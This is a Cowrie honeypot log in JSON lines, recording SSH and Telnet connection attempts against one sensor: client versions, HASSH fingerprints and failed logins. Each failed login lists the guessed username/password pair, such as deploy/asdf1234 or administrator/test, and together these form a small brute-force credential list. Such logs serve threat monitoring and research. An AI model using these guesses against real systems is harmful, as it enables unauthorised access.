{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:31.643781Z","src_ip":"119.195.89.96","session":"2f6def990529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:31.840016Z","src_ip":"119.195.89.96","session":"2f6def990529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123!@#","message":"login attempt [ubuntu/Ubuntu123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:32.656632Z","src_ip":"119.195.89.96","session":"2f6def990529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:33.855624Z","src_ip":"119.195.89.96","session":"2f6def990529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53062,"dst_ip":"159.203.135.109","dst_port":22,"session":"47a013314663","protocol":"ssh","message":"New connection: 159.203.92.129:53062 (159.203.135.109:22) [session: 47a013314663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:40.908870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:40.929105Z","src_ip":"159.203.92.129","session":"47a013314663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:40.932764Z","src_ip":"159.203.92.129","session":"47a013314663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias2025","message":"login attempt [alias/alias2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:40.973757Z","src_ip":"159.203.92.129","session":"47a013314663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:26:41.979956Z","src_ip":"159.203.92.129","session":"47a013314663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":41886,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c97bb6f8ab9","protocol":"ssh","message":"New connection: 124.13.124.212:41886 (159.203.135.109:22) [session: 6c97bb6f8ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:01.308006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:01.311789Z","src_ip":"124.13.124.212","session":"6c97bb6f8ab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:01.553599Z","src_ip":"124.13.124.212","session":"6c97bb6f8ab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdf1234","message":"login attempt [deploy/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:02.561837Z","src_ip":"124.13.124.212","session":"6c97bb6f8ab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:03.807499Z","src_ip":"124.13.124.212","session":"6c97bb6f8ab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34834,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2afc084abe8","protocol":"ssh","message":"New connection: 159.203.92.129:34834 (159.203.135.109:22) [session: d2afc084abe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:22.902847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:22.907361Z","src_ip":"159.203.92.129","session":"d2afc084abe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:22.912032Z","src_ip":"159.203.92.129","session":"d2afc084abe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias2026","message":"login attempt [alias/alias2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:22.925751Z","src_ip":"159.203.92.129","session":"d2afc084abe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:23.940553Z","src_ip":"159.203.92.129","session":"d2afc084abe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":27664,"dst_ip":"159.203.135.109","dst_port":22,"session":"9651c68ed7b4","protocol":"ssh","message":"New connection: 119.195.89.96:27664 (159.203.135.109:22) [session: 9651c68ed7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:31.053337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:31.057368Z","src_ip":"119.195.89.96","session":"9651c68ed7b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:31.251734Z","src_ip":"119.195.89.96","session":"9651c68ed7b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"elastic","message":"login attempt [es/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:32.050928Z","src_ip":"119.195.89.96","session":"9651c68ed7b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:33.247507Z","src_ip":"119.195.89.96","session":"9651c68ed7b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":59402,"dst_ip":"159.203.135.109","dst_port":22,"session":"c761827dd8ff","protocol":"ssh","message":"New connection: 124.13.124.212:59402 (159.203.135.109:22) [session: c761827dd8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:57.637723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:57.642636Z","src_ip":"124.13.124.212","session":"c761827dd8ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:57.883530Z","src_ip":"124.13.124.212","session":"c761827dd8ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password01","message":"login attempt [user/password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:27:58.889604Z","src_ip":"124.13.124.212","session":"c761827dd8ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:00.133869Z","src_ip":"124.13.124.212","session":"c761827dd8ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33774,"dst_ip":"159.203.135.109","dst_port":22,"session":"9295527e8444","protocol":"ssh","message":"New connection: 159.203.92.129:33774 (159.203.135.109:22) [session: 9295527e8444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:06.342734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:06.347202Z","src_ip":"159.203.92.129","session":"9295527e8444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:06.351110Z","src_ip":"159.203.92.129","session":"9295527e8444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias456123","message":"login attempt [alias/alias456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:06.361184Z","src_ip":"159.203.92.129","session":"9295527e8444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:07.367774Z","src_ip":"159.203.92.129","session":"9295527e8444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.66.249.113","src_port":56134,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a25b9cf7683","protocol":"telnet","message":"New connection: 217.66.249.113:56134 (159.203.135.109:23) [session: 6a25b9cf7683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:22.531183Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":33122,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2c7a9a88207","protocol":"ssh","message":"New connection: 119.195.89.96:33122 (159.203.135.109:22) [session: d2c7a9a88207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:28.355718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:28.359864Z","src_ip":"119.195.89.96","session":"d2c7a9a88207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:28.551248Z","src_ip":"119.195.89.96","session":"d2c7a9a88207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"test","message":"login attempt [administrator/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:28:29.345556Z","src_ip":"119.195.89.96","session":"d2c7a9a88207","protocol":"ssh"}
